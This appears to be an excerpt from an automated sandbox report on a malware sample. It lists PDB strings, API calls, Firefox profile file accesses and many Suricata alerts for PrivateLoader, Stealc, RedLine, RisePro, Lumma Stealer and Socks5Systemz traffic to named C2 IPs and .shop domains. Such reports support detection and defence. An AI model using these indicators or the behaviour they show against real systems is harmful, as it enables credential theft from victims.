Source:	Binary string: nss3.pdb@ source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb{ source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.0000000001913000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000003270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdbG source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2297812904.0000000005B80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\BlueSapphire_portable.pdbM source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.00000000018C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.00000000018C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: file.exe, file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: mozglue.pdb source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3018995709.000000006897D000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000000.2061054004.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000003.2082375937.000001EBBEA4B000.00000004.00000020.00020000.00000000.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000003.2099829070.000001EBBEB63000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000003270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nLC:\Windows\BlueSapphire_portable.pdb source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2414919071.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdb source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2297812904.0000000005B80000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00540BC5 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	1_2_00540BC5
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F8B190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	6_2_00007FF7B2F8B190
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F740BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	6_2_00007FF7B2F740BC
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F9FCA0 FindFirstFileExA,	6_2_00007FF7B2F9FCA0
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_004062EB FindFirstFileW,FindClose,	8_2_004062EB
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00406CB1

Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h		0_2_01A30B38
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h		11_2_01A80B38

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.4:49730 -> 212.113.116.202:80
Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.4:49731 -> 45.91.200.135:80
Source: Network traffic	Suricata IDS: 2054710 - Severity 1 - ET MALWARE PrivateLoader CnC Response : 45.91.200.135:80 -> 192.168.2.4:49731
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49731 -> 45.91.200.135:80
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:63369 -> 45.91.200.135:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63372 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:63372 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:63372
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:63372 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:63372
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:63372 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2046266 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Token) : 77.105.164.24:50505 -> 192.168.2.4:63375
Source: Network traffic	Suricata IDS: 2049060 - Severity 1 - ET MALWARE RisePro TCP Heartbeat Packet : 192.168.2.4:63375 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.4:63376 -> 45.91.202.63:25415
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.4:63376 -> 45.91.202.63:25415
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 45.91.202.63:25415 -> 192.168.2.4:63376
Source: Network traffic	Suricata IDS: 2055787 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop) : 192.168.2.4:59764 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055788 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI) : 192.168.2.4:63386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055789 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop) : 192.168.2.4:59826 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2046269 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Activity) : 192.168.2.4:63375 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2055790 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI) : 192.168.2.4:63387 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055788 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI) : 192.168.2.4:63391 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 45.91.202.63:25415 -> 192.168.2.4:63376
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:62190 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:55706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055575 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) : 192.168.2.4:53867 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055475 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop) : 192.168.2.4:62490 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055477 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (evoliutwoqm .shop) : 192.168.2.4:58683 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055785 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop) : 192.168.2.4:63275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055480 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (millyscroqwp .shop) : 192.168.2.4:50194 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055482 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop) : 192.168.2.4:63709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055481 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (stagedchheiqwo .shop) : 192.168.2.4:56141 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055474 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (caffegclasiqwp .shop) : 192.168.2.4:62472 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055786 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI) : 192.168.2.4:63394 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2055783 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop) : 192.168.2.4:60217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.4:57551 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.4:63397 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055779 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop) : 192.168.2.4:52938 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055780 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI) : 192.168.2.4:63398 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055781 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop) : 192.168.2.4:59882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055777 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop) : 192.168.2.4:51792 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055775 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop) : 192.168.2.4:56795 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.4:62160 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.4:63417 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055790 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI) : 192.168.2.4:63420 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055788 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI) : 192.168.2.4:63422 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055786 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI) : 192.168.2.4:63424 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2055776 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI) : 192.168.2.4:63405 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.4:63425 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055780 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI) : 192.168.2.4:63426 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055777 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop) : 192.168.2.4:56661 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055776 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI) : 192.168.2.4:63429 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.4:49813 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055782 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI) : 192.168.2.4:63428 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63435 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:63435 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.103:80 -> 192.168.2.4:63435
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:63435 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.103:80 -> 192.168.2.4:63435
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:63435 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2055790 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI) : 192.168.2.4:63442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.4:63441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055788 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI) : 192.168.2.4:63444 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055786 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI) : 192.168.2.4:63447 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.4:63449 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63448 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63448 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2055780 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI) : 192.168.2.4:63453 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055777 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop) : 192.168.2.4:62217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055782 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI) : 192.168.2.4:63455 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.4:52556 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63468 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63468 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63471 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63471 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63465 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63465 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63464 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63464 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63472 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63472 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2055776 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI) : 192.168.2.4:63458 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63469 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63470 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63469 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63470 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63473 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63473 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63478 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63478 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63475 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63475 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63479 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63479 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63487 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63487 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63482 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63482 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63480 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63498 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63480 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63498 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63485 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63501 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63501 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63485 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63490 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63495 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63502 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63495 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63502 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63491 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63489 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63504 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63491 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63484 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63488 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63484 -> 185.196.8.214:80
